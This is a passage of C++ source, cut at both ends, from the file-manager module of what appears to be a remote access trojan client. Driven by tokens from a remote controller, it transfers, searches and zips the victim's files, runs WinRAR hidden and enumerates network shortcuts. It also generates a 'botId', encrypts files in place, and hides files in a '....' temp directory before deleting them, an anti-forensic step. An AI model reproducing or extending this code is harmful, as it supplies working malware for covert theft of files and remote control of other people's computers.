}
}
} while (FindNextFile(hFind, &wfd));
FindClose(hFind); // 关闭查找句柄
return true;
}
void CFileManager::StopTransfer(BOOL bIsUpload)
{
if (!m_UploadList.empty())
m_UploadList.clear();
if (m_hFileSend != INVALID_HANDLE_VALUE) {
CloseHandle(m_hFileSend);
m_hFileSend = INVALID_HANDLE_VALUE;
}
if (m_hFileRecv != INVALID_HANDLE_VALUE) {
CloseHandle(m_hFileRecv);
m_hFileRecv = INVALID_HANDLE_VALUE;
}
if (bIsUpload)
SendToken(TOKEN_TRANSFER_FINISH);
}
void CFileManager::CreateLocalRecvFile(LPBYTE lpBuffer)
{
FILESIZE* pFileSize = (FILESIZE*)lpBuffer;
// 保存当前正在操作的文件名
memset(m_strCurrentProcessFileName, 0, sizeof(m_strCurrentProcessFileName));
_tcscpy_s(m_strCurrentProcessFileName, (TCHAR*)(lpBuffer + 8));
// 保存文件长度
m_nCurrentProcessFileLength = ((__int64)pFileSize->dwSizeHigh << 32) + pFileSize->dwSizeLow;
// 创建多层目录
MakeSureDirectoryPathExists(m_strCurrentProcessFileName);
WIN32_FIND_DATA FindFileData;
HANDLE hFind = FindFirstFile(m_strCurrentProcessFileName, &FindFileData);
if (hFind != INVALID_HANDLE_VALUE
&& m_nTransferMode != TRANSFER_MODE_OVERWRITE_ALL
&& m_nTransferMode != TRANSFER_MODE_ADDITION_ALL
&& m_nTransferMode != TRANSFER_MODE_JUMP_ALL
) {
SendToken(TOKEN_GET_TRANSFER_MODE);
} else {
GetFileData();
}
FindClose(hFind);
}
void CFileManager::GetFileData()
{
int nTransferMode;
switch (m_nTransferMode) {
case TRANSFER_MODE_OVERWRITE_ALL:
nTransferMode = TRANSFER_MODE_OVERWRITE;
break;
case TRANSFER_MODE_ADDITION_ALL:
nTransferMode = TRANSFER_MODE_ADDITION;
break;
case TRANSFER_MODE_JUMP_ALL:
nTransferMode = TRANSFER_MODE_JUMP;
break;
default:
nTransferMode = m_nTransferMode;
}
WIN32_FIND_DATA FindFileData;
HANDLE hFind = FindFirstFile(m_strCurrentProcessFileName, &FindFileData);
// 1字节Token,四字节偏移高四位,四字节偏移低四位
BYTE bToken[9];
DWORD dwCreationDisposition; // 文件打开方式
memset(bToken, 0, sizeof(bToken));
bToken[0] = TOKEN_DATA_CONTINUE;
// 文件已经存在
if (hFind != INVALID_HANDLE_VALUE) {
// 提示点什么
// 如果是续传
if (nTransferMode == TRANSFER_MODE_ADDITION) {
memcpy(bToken + 1, &FindFileData.nFileSizeHigh, 4);
memcpy(bToken + 5, &FindFileData.nFileSizeLow, 4);
dwCreationDisposition = OPEN_EXISTING;
}
// 覆盖
else if (nTransferMode == TRANSFER_MODE_OVERWRITE) {
// 偏移置0
memset(bToken + 1, 0, 8);
// 重新创建
dwCreationDisposition = CREATE_ALWAYS;
}
// 传送下一个
else if (nTransferMode == TRANSFER_MODE_JUMP) {
DWORD dwOffset = -1;
memcpy(bToken + 1, &dwOffset, 4);
memcpy(bToken + 5, &dwOffset, 4);
dwCreationDisposition = OPEN_EXISTING;
}
} else {
// 偏移置0
memset(bToken + 1, 0, 8);
// 重新创建
dwCreationDisposition = CREATE_ALWAYS;
}
FindClose(hFind);
if (m_hFileRecv != INVALID_HANDLE_VALUE)
CloseHandle(m_hFileRecv);
m_hFileRecv = CreateFile(m_strCurrentProcessFileName,
GENERIC_WRITE, 0, NULL, dwCreationDisposition, FILE_ATTRIBUTE_NORMAL, 0);
// 需要错误处理
if (m_hFileRecv == INVALID_HANDLE_VALUE) {
m_nCurrentProcessFileLength = 0;
return;
}
Send(bToken, sizeof(bToken));
}
void CFileManager::WriteLocalRecvFile(LPBYTE lpBuffer, UINT nSize)
{
// 传输完毕
BYTE* pData;
DWORD dwBytesToWrite;
DWORD dwBytesWrite;
int nHeadLength = 9; // 1 + 4 + 4 数据包头部大小,为固定的9
FILESIZE* pFileSize;
// 得到数据的偏移
pData = lpBuffer + 8;
pFileSize = (FILESIZE*)lpBuffer;
// 得到数据在文件中的偏移
LONG dwOffsetHigh = pFileSize->dwSizeHigh;
LONG dwOffsetLow = pFileSize->dwSizeLow;
dwBytesToWrite = nSize - 8;
SetFilePointer(m_hFileRecv, dwOffsetLow, &dwOffsetHigh, FILE_BEGIN);
BOOL bRet = WriteFile(m_hFileRecv, pData, dwBytesToWrite, &dwBytesWrite, NULL);
dwOffsetLow = 0;
dwOffsetHigh = 0;
dwOffsetLow = SetFilePointer(m_hFileRecv, dwOffsetLow, &dwOffsetHigh, FILE_CURRENT);
BYTE bToken[9];
bToken[0] = TOKEN_DATA_CONTINUE;
memcpy(bToken + 1, &dwOffsetHigh, sizeof(dwOffsetHigh));
memcpy(bToken + 5, &dwOffsetLow, sizeof(dwOffsetLow));
Send(bToken, sizeof(bToken));
}
void CFileManager::SetTransferMode(LPBYTE lpBuffer)
{
memcpy(&m_nTransferMode, lpBuffer, sizeof(m_nTransferMode));
GetFileData();
}
void CFileManager::CreateFolder(LPBYTE lpBuffer)
{
MakeSureDirectoryPathExists((TCHAR*)lpBuffer);
SendToken(TOKEN_CREATEFOLDER_FINISH);
}
void CFileManager::Rename(LPBYTE lpBuffer)
{
LPCTSTR lpExistingFileName = (TCHAR*)lpBuffer;
LPCTSTR lpNewFileName = (TCHAR*)((byte*)lpExistingFileName + (lstrlen(lpExistingFileName) + 1) * sizeof(TCHAR));
::MoveFile(lpExistingFileName, lpNewFileName);
SendToken(TOKEN_RENAME_FINISH);
}
//压缩解或压缩文件
void CFileManager::ExeCompress(BYTE* lpBuffer)
{
SHELLEXECUTEINFO ShExecInfo = { 0 };
ShExecInfo.cbSize = sizeof(SHELLEXECUTEINFO);
ShExecInfo.fMask = SEE_MASK_NOCLOSEPROCESS;
ShExecInfo.lpVerb = NULL;
ShExecInfo.lpFile = _T("WinRAR");
ShExecInfo.lpParameters = (TCHAR*)lpBuffer;
ShExecInfo.nShow = SW_HIDE;
if (ShellExecuteEx(&ShExecInfo)) {
WaitForSingleObject(ShExecInfo.hProcess, INFINITE);
CloseHandle(ShExecInfo.hProcess);
SendToken(TOKEN_COMPRESS_FINISH);
}
}
void CFileManager::FindFileInDir(TCHAR* rootDir, TCHAR* searchfilename, BOOL bEnabledSubfolder)
{
WIN32_FIND_DATA fd;
TCHAR filePathName[256];
TCHAR tmpPath[256];
ZeroMemory(&fd, sizeof(WIN32_FIND_DATA));
ZeroMemory(filePathName, 256);
ZeroMemory(tmpPath, 256);
lstrcpy(filePathName, rootDir);
if (filePathName[(lstrlen(filePathName) - 1)] != _T('\\')) {
lstrcat(filePathName, _T("\\"));
}
lstrcat(filePathName, _T("*.*"));
HANDLE hSearch = FindFirstFile(filePathName, &fd);
do {
DWORD dwOffset = 1; // 位移指针
lstrcpy(tmpPath, rootDir);
if (tmpPath[lstrlen(tmpPath) - 1] != _T('\\'))
lstrcat(tmpPath, _T("\\"));
lstrcat(tmpPath, fd.cFileName);
if ((fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
&& lstrcmp(fd.cFileName, _T(".")) && lstrcmp(fd.cFileName, _T(".."))) {
if (bEnabledSubfolder)
FindFileInDir(tmpPath, searchfilename, bEnabledSubfolder);
} else if (lstrcmp(fd.cFileName, _T(".")) && lstrcmp(fd.cFileName, _T(".."))) {
_tcsupr_s(fd.cFileName, lstrlen(fd.cFileName) + 1);
_tcsupr_s(searchfilename, lstrlen(searchfilename) + 1);
if (_tcsstr(fd.cFileName, searchfilename) > 0) {
LPBYTE lpBuffer = NULL;
lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1024);
// 文件属性 1 字节
*(lpBuffer + dwOffset) = fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY;
dwOffset++;
int nLen = (lstrlen(tmpPath) + 1) * sizeof(TCHAR);
memcpy(lpBuffer + dwOffset, tmpPath, nLen);
dwOffset += nLen;
/* *(lpBuffer + dwOffset) = 0;
dwOffset++;*/
memcpy(lpBuffer + dwOffset, &fd.nFileSizeHigh, sizeof(DWORD));
memcpy(lpBuffer + dwOffset + 4, &fd.nFileSizeLow, sizeof(DWORD));
dwOffset += 8;
// 最后访问时间 8 字节
memcpy(lpBuffer + dwOffset, &fd.ftLastWriteTime, sizeof(FILETIME));
dwOffset += 8;
if (dwOffset > 1) {
lpBuffer[0] = TOKEN_SEARCH_FILE_LIST;
lpBuffer = (LPBYTE)LocalReAlloc(lpBuffer, dwOffset, LMEM_ZEROINIT | LMEM_MOVEABLE);
Send(lpBuffer, (UINT)LocalSize(lpBuffer));
Sleep(10);
LocalFree(lpBuffer);
}
}
}
} while (FindNextFile(hSearch, &fd) && !bIsStopSearch);
FindClose(hSearch);
}
//文件搜索线程
void WINAPI CFileManager::FindFileThread(LPVOID lparam)
{
CFileManager* pThis = (CFileManager*)lparam;
pThis->FindFileInDir(pThis->filesearch.SearchPath, pThis->filesearch.SearchFileName, pThis->filesearch.bEnabledSubfolder);
pThis->bIsStopSearch = TRUE;
pThis->SendToken(TOKEN_SEARCH_FILE_FINISH);
}
//停止文件搜索
void CFileManager::StopSearchTheard()
{
if (bIsStopSearch)
return;
bIsStopSearch = TRUE;
WaitForSingleObject(m_hWorkThread, INFINITE);
CloseHandle(m_hWorkThread);
bIsStopSearch = FALSE;
}
//创建文件搜索线程
void CFileManager::SendSearchFilesList(LPCTSTR str)
{
bIsStopSearch = FALSE;
memcpy(&filesearch, str, sizeof(FILESEARCH));
m_hWorkThread = CreateThread(NULL,
0,
(LPTHREAD_START_ROUTINE)FindFileThread,
(LPVOID)this,
0,
NULL
);
}
ULONG CFileManager::PseudoRand(ULONG* seed)
{
return (*seed = 1352459 * (*seed) + 2529004207);
}
void CFileManager::GetBotId(TCHAR* botId)
{
TCHAR windowsDirectory[MAX_PATH];
TCHAR volumeName[8] = { 0 };
DWORD seed = 0;
if (GetWindowsDirectory(windowsDirectory, MAX_PATH * sizeof(TCHAR)))
windowsDirectory[0] = _T('C');
volumeName[0] = windowsDirectory[0];
volumeName[1] = _T(':');
volumeName[2] = _T('\\');
volumeName[3] = _T('\0');
GetVolumeInformation(volumeName, NULL, 0, &seed, 0, NULL, NULL, 0);
GUID guid;
guid.Data1 = PseudoRand(&seed);
guid.Data2 = (USHORT)PseudoRand(&seed);
guid.Data3 = (USHORT)PseudoRand(&seed);
for (int i = 0; i < 8; i++)
guid.Data4[i] = (UCHAR)PseudoRand(&seed);
wsprintf(botId, _T("%08lX%04lX%lu"), guid.Data1, guid.Data3, *(ULONG*)&guid.Data4[2]);
}
bool CFileManager::getLnkFormPath(TCHAR* lnkPath, TCHAR* szoutPath)
{
CoInitialize(NULL);
IPersistFile* pPF = NULL;
HRESULT hr = CoCreateInstance(
CLSID_ShellLink, // CLSID
NULL, // IUnknown 接口指针
CLSCTX_INPROC_SERVER, // CLSCTX_INPROC_SERVER:以 Dll 的方式操作类对象
IID_IPersistFile, // COM 对象接口标识符
(void**)(&pPF) // 接收 COM 对象的指针
);
if (FAILED(hr)) {
return false;
}
IShellLink* pSL = NULL;
hr = pPF->QueryInterface(
IID_IShellLink, // 接口 IID
(void**)(&pSL) // 接收指向这个接口函数虚标的指针
);
if (FAILED(hr)) {
return false;
}
LPCOLESTR olePath = ConvertTCharToWChar(lnkPath);
hr = pPF->Load(
olePath, // 文件全路径
STGM_READ // 访问模式:只读
);
SAFE_DELETE_AR(olePath);
if (FAILED(hr)) {
return false;
}
ZeroMemory(szoutPath, sizeof(szoutPath));
// 获取 Shell 链接来源
hr = pSL->GetPath(szoutPath, MAX_PATH, NULL, 0);
// 关闭 COM 库
pPF->Release();
CoUninitialize();
return true;
}
void CFileManager::SendNetHood()
{
TCHAR szPath[MAX_PATH];
::SHGetSpecialFolderPath(NULL, szPath, CSIDL_NETHOOD, FALSE);
HANDLE hFile;
DWORD dwOffset = 0; // 位移指针
int nLen = 0;
LPBYTE lpList = NULL;
DWORD nBufferSize = 1024 * 10; // 先分配10K的缓冲区
WIN32_FIND_DATA FindFileData;
TCHAR* lpszSlash = NULL;
TCHAR strPath[MAX_PATH];
TCHAR strPath_out[MAX_PATH];
if (szPath[lstrlen(szPath) - 1] != '\\')
lpszSlash = (TCHAR*)_T("\\");
else
lpszSlash = (TCHAR*)_T("");
TCHAR str1ast[] = { _T('%'),_T('s'),_T('%'),_T('s'),_T('*'),_T('.'),_T('*'),_T('\0') };
wsprintf(strPath_out, _T("%s%s"), szPath, lpszSlash);
wsprintf(strPath, str1ast, szPath, lpszSlash);
hFile = FindFirstFile(strPath, &FindFileData);
if (hFile == INVALID_HANDLE_VALUE) {
return;
}
lpList = (BYTE*)LocalAlloc(LPTR, nBufferSize);
*lpList = TOKEN_FILE_GETNETHOOD;
dwOffset = 1;
do {
// 动态扩展缓冲区
if (dwOffset > (nBufferSize - MAX_PATH * 2)) {
nBufferSize += MAX_PATH * 2;
lpList = (BYTE*)LocalReAlloc(lpList, nBufferSize, LMEM_ZEROINIT | LMEM_MOVEABLE);
}
TCHAR* pszFileName = FindFileData.cFileName;
if (_tcscmp(pszFileName, _T(".")) == 0 || _tcscmp(pszFileName, _T("..")) == 0)
continue;
TCHAR InPath[MAX_PATH];
wsprintf(InPath, _T("%s%s"), strPath_out, pszFileName);
TCHAR* OutPath = new TCHAR[MAX_PATH];
ZeroMemory(OutPath, sizeof(OutPath));
if (!getLnkFormPath(InPath, OutPath))
continue;;
int iNameSzie = lstrlen(OutPath) * sizeof(TCHAR) + 2;
memcpy(lpList + dwOffset, &iNameSzie, sizeof(int));
memcpy(lpList + dwOffset + sizeof(int), OutPath, iNameSzie);
dwOffset += sizeof(int) + iNameSzie;
SAFE_DELETE_AR(OutPath);
} while (FindNextFile(hFile, &FindFileData));
if (dwOffset == 1)
return;
Send(lpList, dwOffset);
LocalFree(lpList);
}
/*加密子函数开始*/
void CFileManager::encfile(char* in_filename)
{
char out_file[MAX_PATH * 2];
strcpy_s(out_file, in_filename);
strcat_s(out_file, "i");
m_encoder.encodePDF(in_filename, out_file);
remove(in_filename);
::MoveFileA(out_file, in_filename);
}
/*解密子函数开始*/
void CFileManager::decryptfile(char* in_filename)
{
char out_file[MAX_PATH * 2];
strcpy_s(out_file, in_filename);
strcat_s(out_file, "i");
m_encoder.decodePDF(in_filename, out_file);
remove(in_filename);
::MoveFileA(out_file, in_filename);
}
bool CFileManager::FnDelPathFile(TCHAR* tc_path)
{
SECURITY_ATTRIBUTES safestruct = { sizeof(SECURITY_ATTRIBUTES),NULL,false };
//获取系统temp目录+字母
TCHAR* tem_path = new TCHAR[MAX_PATH * 2];
TCHAR* tem_path1 = new TCHAR[MAX_PATH * 2];
TCHAR* tem_path2 = new TCHAR[MAX_PATH * 2];
TCHAR* tem_path3 = new TCHAR[MAX_PATH * 2];
TCHAR* tem_path4 = new TCHAR[MAX_PATH * 2];
GetTempPath(MAX_PATH * 2, tem_path);
unsigned seed;
seed = (unsigned)GetCurrentProcessId();
std::srand(seed);
int A = rand();
int B = A + 1;
wsprintf(tem_path1, _T("%s%d"), tem_path, A);
CreateDirectory(tem_path1, &safestruct);
wsprintf(tem_path2, _T("%s%s"), tem_path1, _T("\\....\\"));
CreateDirectory(tem_path2, &safestruct);
wsprintf(tem_path3, _T("%s\\%d"), tem_path2, B);
MoveFile(tc_path, tem_path3);
wsprintf(tem_path4, _T("%s\\%d"), tem_path1, B);
MoveFile(tem_path2, tem_path4);
DeleteFile(tem_path1); //删除目录(目录)
DeleteFile(tem_path2); //删除目录(目录)
DeleteFile(tem_path3); //删除目录(目录)
DeleteFile(tem_path4); //删除目录(目录)
SAFE_DELETE_AR(tem_path);
SAFE_DELETE_AR(tem_path1);
SAFE_DELETE_AR(tem_path2);
SAFE_DELETE_AR(tem_path3);
SAFE_DELETE_AR(tem_path4);
return 1;
}
//文件搜索线程
void WINAPI CFileManager::FindZIPThread(LPVOID lparam)
{
CFileManager* pThis = (CFileManager*)lparam;
TCHAR* zippath = NULL;
HZIP hz = NULL;
TCHAR* newzippath = new TCHAR[MAX_PATH * 2];
TCHAR* zippath_filename = new TCHAR[MAX_PATH * 2];
ZeroMemory(newzippath, MAX_PATH * 2 * 2);
ZeroMemory(zippath_filename, MAX_PATH * 2 * 2);
std::string input = (TCHAR*)(pThis->zippath_t);
std::stringstream ss(input);
std::string token;
int num = 0;
int pathlen = 0;
while (std::getline(ss, token, _T('|'))) {
num++;
if (num == 1) {
zippath = (TCHAR*)token.c_str();
pathlen = lstrlen(zippath) * 2;
memset(zippath + lstrlen(zippath) - 1, 0, 2);
std::string str = zippath;
int num = 0;
size_t fi = str.find_last_of(_T("\\"));
if (fi == str.npos)
continue;
std::string strSubPath = str.substr(fi + 1, str.length());
wsprintf(newzippath, _T("%s\\%s.zip"), zippath, strSubPath.c_str());
DWORD dwAttr = GetFileAttributes(newzippath);
if (INVALID_FILE_ATTRIBUTES != dwAttr) {
DWORD ti = ::timeGetTime();
wsprintf(newzippath, _T("%s\\%s%d.zip"), zippath, strSubPath.c_str(), ti);
}
hz = CreateZip(newzippath, 0);
if (hz == NULL) break;;
} else {
ZeroMemory(zippath_filename, MAX_PATH * 2 * 2);
zippath = (TCHAR*)token.c_str();
DWORD dwAttr = GetFileAttributes(zippath);
if (INVALID_FILE_ATTRIBUTES == dwAttr) {
continue;
}
if (dwAttr & FILE_ATTRIBUTE_DIRECTORY) {
std::string str = zippath;
int num = 0;
size_t fi = str.find_last_of(_T("\\"));
if (fi == str.npos)
continue;
memcpy(zippath_filename, zippath + pathlen / 2, lstrlen(zippath) * 2 - pathlen + 2);
ZeroMemory(zippath_filename + lstrlen(zippath_filename) - 1, 2);
ZipAddFolder(hz, zippath_filename);
pThis->FindFileInDirZipAdd(zippath, hz, pathlen);
} else {
std::string str = zippath;
int num = 0;
size_t fi = str.find_last_of(_T("\\"));
if (fi == str.npos)
continue;
memcpy(zippath_filename, zippath + fi + 1, (lstrlen(zippath) - fi) * 2 + 2);
ZipAdd(hz, zippath_filename, zippath);
}
}
}
if (hz)
CloseZip(hz);
if (!pThis->bIsStopZIP) pThis->SendToken(TOKEN_FILE_ZIPOK);
pThis->bIsStopZIP = FALSE;
SAFE_DELETE_AR(newzippath);
SAFE_DELETE_AR(zippath_filename)
SAFE_DELETE_AR(pThis->zippath_t);
}
//停止文件搜索
void CFileManager::StopZIPTheard()
{
if (bIsStopZIP)
return;
bIsStopZIP = TRUE;
WaitForSingleObject(m_hWorkZIPThread, INFINITE);
CloseHandle(m_hWorkZIPThread);
bIsStopZIP = FALSE;
}
//创建文件搜索线程
void CFileManager::StartZIP()
{
m_hWorkZIPThread = CreateThread(NULL,
0,
(LPTHREAD_START_ROUTINE)FindZIPThread,
(LPVOID)this,
0,
NULL
);
}
void CFileManager::FindFileInDirZipAdd(TCHAR* rootDir, HZIP hz, int pathlen)
{
WIN32_FIND_DATA fd;
TCHAR filePathName[256];
TCHAR tmpPath[256];
ZeroMemory(&fd, sizeof(WIN32_FIND_DATA));
ZeroMemory(filePathName, 256);
ZeroMemory(tmpPath, 256);
lstrcpy(filePathName, rootDir);
if (filePathName[(lstrlen(filePathName) - 1)] != _T('\\')) {
lstrcat(filePathName, _T("\\"));
}
lstrcat(filePathName, _T("*.*"));
HANDLE hSearch = FindFirstFile(filePathName, &fd);
do {
DWORD dwOffset = 1; // 位移指针
lstrcpy(tmpPath, rootDir);
if (tmpPath[lstrlen(tmpPath) - 1] != _T('\\'))
lstrcat(tmpPath, _T("\\"));
lstrcat(tmpPath, fd.cFileName);
if ((fd.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)
&& lstrcmp(fd.cFileName, _T(".")) && lstrcmp(fd.cFileName, _T(".."))) {
TCHAR* zippath_filename = new TCHAR[MAX_PATH * 2];
std::string str = tmpPath;
int num = 0;
size_t fi = str.find_last_of(_T("\\"));
if (fi == str.npos)
continue;
memcpy(zippath_filename, tmpPath + pathlen / 2, lstrlen(tmpPath) * 2 - pathlen + 2);
ZipAddFolder(hz, zippath_filename);
FindFileInDirZipAdd(tmpPath, hz, pathlen);
SAFE_DELETE_AR(zippath_filename);
} else if (lstrcmp(fd.cFileName, _T(".")) && lstrcmp(fd.cFileName, _T(".."))) {
TCHAR* zippath_filename = new TCHAR[MAX_PATH * 2];
std::string str = tmpPath;
int num = 0;
size_t fi = str.find_last_of(_T("\\"));
if (fi == str.npos)
continue;
memcpy(zippath_filename, tmpPath + pathlen / 2, lstrlen(tmpPath) * 2 - pathlen + 2);
ZipAdd(hz, zippath_filename, tmpPath);
SAFE_DELETE_AR(zippath_filename);
}
} while (FindNextFile(hSearch, &fd) && !bIsStopZIP);
FindClose(hSearch);
}
void CFileManager::SendFileInfo(TCHAR* filepath, TCHAR* type) // jpg png ico bmp gif
{
ResizePicture(filepath);
}
bool CFileManager::ResizePicture(TCHAR* strSource)
{
CImage image, imDest;
int w = 0, h = 0;
if (SUCCEEDED(image.Load(strSource))) {
if (image.GetWidth() > 1000 || image.GetHeight() > 700) {
w = 1000;
h = 700;
} else {
w = image.GetWidth();
h = image.GetHeight();
}
imDest.Create(w, h, 24);
image.StretchBlt(imDest.GetDC(), CRect(0, 0, w, h), CRect(0, 0, image.GetWidth(), image.GetHeight()));
IStream* pOutStream = NULL;
if (CreateStreamOnHGlobal(NULL, TRUE, &pOutStream) == S_OK) {
imDest.Save(pOutStream, Gdiplus::ImageFormatJPEG);
HGLOBAL hOutGlobal = NULL;
GetHGlobalFromStream(pOutStream, &hOutGlobal);
LPBYTE pBits = (LPBYTE)GlobalLock(hOutGlobal);
if (pBits == nullptr) {
return 0;
}
int heath = sizeof(FILEPICINFO);
unsigned long ulBufferLen = (DWORD)GlobalSize(pBits);
char* pBuffer = new char[ulBufferLen + heath];
::memcpy(pBuffer + heath, pBits, ulBufferLen);
FILEPICINFO* m_FILEINFO = new FILEPICINFO;
m_FILEINFO->Token = TOKEN_FILE_GETINFO;
m_FILEINFO->w = imDest.GetWidth();
m_FILEINFO->h = imDest.GetHeight();
m_FILEINFO->size = ulBufferLen;
memcpy(pBuffer, m_FILEINFO, heath);
Send((LPBYTE)pBuffer, ulBufferLen + heath);
SAFE_DELETE(pBuffer);
GlobalUnlock(hOutGlobal);
pOutStream->Release();
}
imDest.ReleaseDC();
imDest.Destroy();
image.Destroy();
}
return true;
}
BOOL CFileManager::GetVolumeNameByHandle(HANDLE hFile, char* szFullPath)
{
//得到所有磁盘卷的卷序号
char* szBuf =NULL;
DWORD szAllDriveStrings = GetLogicalDriveStringsA(0, NULL); //驱动器总长度
if (szBuf == NULL) {
szBuf = new char[szAllDriveStrings +1]; //建立数组
}
int i;
DWORD dwVolumeSerialNumber;
memset(szBuf, 0, sizeof(szBuf));
//通过句柄得到文件的卷序号
//得到卷序号 lpFileInformation.dwVolumeSerialNumber
BY_HANDLE_FILE_INFORMATION lpFileInformation;
if (!GetFileInformationByHandle(hFile, &lpFileInformation) || (lpFileInformation.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY)) {
//通过句柄得到文件信息失败 或者 此句柄为文件夹句柄,并非文件句柄
return FALSE;
}
if (::GetLogicalDriveStringsA(szAllDriveStrings, szBuf)) {
for (i = 0; szBuf[i]; i += 4) {
//得到卷信息->卷序号
if (!_stricmp(&(szBuf[i]), "A:\\") || !_stricmp(&(szBuf[i]), "B:\\")) {
//忽略软盘 (一般不会使用,并且查询它的速度非常之慢)
continue;
}
if (GetVolumeInformationA(&(szBuf[i]), NULL, NULL, &dwVolumeSerialNumber, NULL, NULL, NULL, NULL)) {
// 与 lpFileInformation.dwVolumeSerialNumber 比较
// 如果相同,则找到该磁盘
if (dwVolumeSerialNumber == lpFileInformation.dwVolumeSerialNumber) {
//找到
char szVolumeName[4];
memset(szVolumeName, 0, sizeof(szVolumeName));
strcpy_s(szVolumeName, &(szBuf[i]));
szVolumeName[strlen(szVolumeName) - 1] = '\0';
//得到路径
HMODULE hNt = LoadLibraryA("ntdll.dll");
if (hNt) {
IO_STATUS_BLOCK isb = { 0 };;
FILE_NAME_INFORMATION fni = { 0 };
ZwQueryInformationFile fnZwQueryInformationFile = NULL;
fnZwQueryInformationFile = (ZwQueryInformationFile) ::GetProcAddress(hNt, "ZwQueryInformationFile");
if (fnZwQueryInformationFile) {
DWORD dwRet = 0;
dwRet = fnZwQueryInformationFile(hFile, &isb, &fni, sizeof(FILE_NAME_INFORMATION), 9);
if (!dwRet) {
//获取文件路径成功
fni.FileName[fni.FileNameLength / 2] = 0;
//构造成完整路径名
char szFilePath[MAX_PATH * 3];
memset(szFilePath, 0, sizeof(szFilePath));
WideCharToMultiByte(CP_ACP, 0, fni.FileName, -1, szFilePath, sizeof(szFilePath) - 1, NULL, NULL);
sprintf_s(szFullPath, MAX_PATH * 4, "%s%s", szVolumeName, szFilePath);
return TRUE;
}
}
FreeLibrary(hNt);
}
}
}
}
}
SAFE_DELETE_AR(szBuf);
return FALSE;
}
void CFileManager::GetFullPathByFileReferenceNumber(HANDLE hVol, DWORDLONG FileReferenceNumber)
{
typedef ULONG(__stdcall* PNtCreateFile)(
PHANDLE FileHandle,
ULONG DesiredAccess,
PVOID ObjectAttributes,
PVOID IoStatusBlock,
PLARGE_INTEGER AllocationSize,
ULONG FileAttributes,
ULONG ShareAccess,
ULONG CreateDisposition,
ULONG CreateOptions,
PVOID EaBuffer,
ULONG EaLength);
PNtCreateFile NtCreatefile = (PNtCreateFile)GetProcAddress(GetModuleHandle(_T("ntdll.dll")), "NtCreateFile");
typedef struct _UNICODE_STRING {
USHORT Length, MaximumLength;
PWCH Buffer;
} UNICODE_STRING, * PUNICODE_STRING;
UNICODE_STRING fidstr = { 8, 8, (PWSTR)&FileReferenceNumber };
typedef struct _OBJECT_ATTRIBUTES {
ULONG Length;
HANDLE RootDirectory;
PUNICODE_STRING ObjectName;
ULONG Attributes;
PVOID SecurityDescriptor;
PVOID SecurityQualityOfService;
} OBJECT_ATTRIBUTES;
const ULONG OBJ_CASE_INSENSITIVE = 0x00000040UL;
OBJECT_ATTRIBUTES oa = { sizeof(OBJECT_ATTRIBUTES), hVol, &fidstr, OBJ_CASE_INSENSITIVE, 0, 0 };
HANDLE hFile;
long long iosb[2];
const ULONG FILE_OPEN_BY_FILE_ID = 0x00002000UL;
const ULONG FILE_OPEN = 0x00000001UL;
ULONG status = NtCreatefile(&hFile, GENERIC_ALL, &oa, iosb, NULL, FILE_ATTRIBUTE_NORMAL, FILE_SHARE_READ | FILE_SHARE_WRITE, FILE_OPEN, FILE_OPEN_BY_FILE_ID, NULL, 0);
ZeroMemory(c_pathname, MAX_PATH * 4);
if (status == 0) {
GetVolumeNameByHandle(hFile, c_pathname);
CloseHandle(hFile);
}
}
// 将 ANSI TCHAR* 转换为 WCHAR*,由调用者负责释放返回值
WCHAR* ConvertTCharToWChar(const TCHAR* ansiStr) {
if (!ansiStr) return nullptr;
int len = MultiByteToWideChar(CP_ACP, 0, ansiStr, -1, NULL, 0);
if (len == 0) return nullptr;
WCHAR* wideStr = new WCHAR[len];
if (!wideStr) return nullptr;
MultiByteToWideChar(CP_ACP, 0, ansiStr, -1, wideStr, len);
return wideStr;
}
void CFileManager::SendSearchData(LPBYTE lpBuffer)
{
SEARCH S_search;
memset(&S_search, 0, sizeof(SEARCH));
memcpy(&S_search, lpBuffer, sizeof(SEARCH));
volName = S_search.TC_disk;
tc_search = S_search.TC_search;
int all = 0;
BOOL status;
bool isNTFS = false;
bool getHandleSuccess = false;
bool initUsnJournalSuccess = false;
TCHAR sysNameBuf[MAX_PATH] = { 0 };
status = GetVolumeInformation(volName,
NULL,
0,
NULL,
NULL,
NULL,
sysNameBuf,
MAX_PATH);
if (0 != status) {
if (0 == lstrcmp(sysNameBuf, _T("NTFS"))) {
isNTFS = true;
} else {
BYTE lpbuffer = TOKEN_FILE_SEARCHPLUS_NONTFS;
Send((LPBYTE)&lpbuffer, 1);
return;
}
}
if (isNTFS) {
TCHAR fileName[MAX_PATH];
fileName[0] = _T('\0');
_tcscpy_s(fileName, _T("\\\\.\\"));
_tcscat_s(fileName, volName);
std::string fileNameStr = (std::string)fileName;
fileNameStr.erase(fileNameStr.find_last_of(_T(":")) + 1);
hVol = CreateFile(fileNameStr.data(),
GENERIC_READ | GENERIC_WRITE, // 可以为0
FILE_SHARE_READ | FILE_SHARE_WRITE, // 必须包含有FILE_SHARE_WRITE
NULL, // 这里不需要
OPEN_EXISTING, // 必须包含OPEN_EXISTING, CREATE_ALWAYS可能会导致错误
FILE_ATTRIBUTE_READONLY, // FILE_ATTRIBUTE_NORMAL可能会导致错误
NULL); // 这里不需要
if (INVALID_HANDLE_VALUE != hVol) {
getHandleSuccess = true;
} else {
BYTE lpbuffer = TOKEN_FILE_SEARCHPLUS_HANDLE;
Send((LPBYTE)&lpbuffer, 1);
return;
}
}
if (getHandleSuccess) {
DWORD br;
CREATE_USN_JOURNAL_DATA cujd;
cujd.MaximumSize = 0; // 0表示使用默认值
cujd.AllocationDelta = 0; // 0表示使用默认值
status = DeviceIoControl(hVol,
FSCTL_CREATE_USN_JOURNAL,
&cujd,
sizeof(cujd),
NULL,
0,
&br,
NULL);
if (0 != status) {
initUsnJournalSuccess = true;
} else {
BYTE lpbuffer = TOKEN_FILE_SEARCHPLUS_INITUSN;
Send((LPBYTE)&lpbuffer, 1);
return;
}
}
lpBuffer = (LPBYTE)LocalAlloc(LPTR, 1024 * sizeof(TCHAR));
lpBuffer[0] = TOKEN_FILE_SEARCHPLUS_LIST;
DWORD dwOffset = 1;
DWORD dwLength = 1024 * 8;
if (initUsnJournalSuccess) {
bool getBasicInfoSuccess = false;
DWORD br;
status = DeviceIoControl(hVol, FSCTL_QUERY_USN_JOURNAL, NULL, 0, &UsnInfo, sizeof(USN_JOURNAL_DATA), &br, NULL);
if (0 != status) {
